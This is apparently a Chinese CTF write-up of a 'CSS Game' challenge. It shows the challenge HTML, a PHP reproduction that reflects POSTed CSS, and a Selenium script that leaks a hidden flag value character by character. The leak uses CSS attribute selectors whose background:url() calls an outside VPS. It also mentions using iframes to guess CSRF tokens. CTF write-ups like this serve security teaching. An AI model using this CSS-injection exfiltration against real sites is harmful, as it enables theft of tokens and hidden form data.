0x01 题目分析
<html>
<head>
<meta charset="utf8" />
<title>CSS Game</title>
<style>
</style>
</head>
<body>
<h1>CSS Game</h1>
<p>
The flag is in <code>http://127.0.0.1:60000/flag.html</code>
</p>
<p>
flag.html
<!--
<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
-->
</p>
<form action="/crawl.html" method="post">
http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
<input type="submit"/><br><br>
</form>
</body>
</p>
大概的意思就是要我们输入一个css,而这个css是控制flag.php的,而我们需要的flag就是在flag.php里面的一个隐藏input的value,我们只有通过我们输入的css把这个值带出来~~
下面直接贴出脚本吧,由于环境原因我们只有一位位地试,在buu上由于一些原因跑几次环境就挂了,于是我自己搭了个本地环境,原理都差不多~~
index.html
<html>
<head>
<meta charset="utf8" />
<title>CSS Game</title>
<style>
</style>
</head>
<body>
<h1>CSS Game</h1>
<p>
The flag is in <code>http://127.0.0.1/flag.php</code>
</p>
<p>
flag.php
<!--
<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
-->
</p>
<form action="/flag.php" method="post">
http://127.0.0.1/flag.php?css=<input type="text" name="css" />
<input type="submit"/><br><br>
</form>
</body>
</p>
flag.php
<html>
<style>
<?=preg_replace('#</style#i', '#', $_POST['css']) ?>
</style>
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
payload
# encoding = utf-8
import string
from selenium import webdriver
import time
driver = webdriver.Chrome()
url = 'http://127.0.0.1'
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'
for i in s:
flag += i
string = 'input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}'%(flag, flag)
data = {"css": string}
driver.get(url)
css = driver.find_element_by_name('css')
css.send_keys(string)
driver.find_element_by_xpath("//input[@type='submit']").click()
flag= ''
这儿我是用的是
input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}
value^=xxx,就是指value的前几位是xxx
,如果正确就访问我们的vps,这样我们就知道前几位是什么了,然后手动一位位的改payload中的值~~
思维问题:
由于这道题是post的css参数,而selenium不支持直接post,所以我就一直找能够支持post的库,但是总会有各种问题,后来我是直接用selenuim定位元素,填写表单
,提交就解决问题了~
我想开发的selenuim的大佬,也是想我们可以先GET网页,然后定位元素填写表单吧,所以没开发POST的模块~~
在做的过程中我还尝试了xhr
,但是xhr那个只是访问url,并不渲染url
,所以也没办法访问我们的vps~~
参考链接
这儿再贴出一些关于selenium定位的文章~~
链接
最后贴出官方的payload
1
通过不断创建iframe,动态猜解每一位csrf token,当然这需要目标站点x-frame-options未被禁用
链接
2
那iframe被禁用了,还有办法注入吗?
参考这篇文章所述:
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b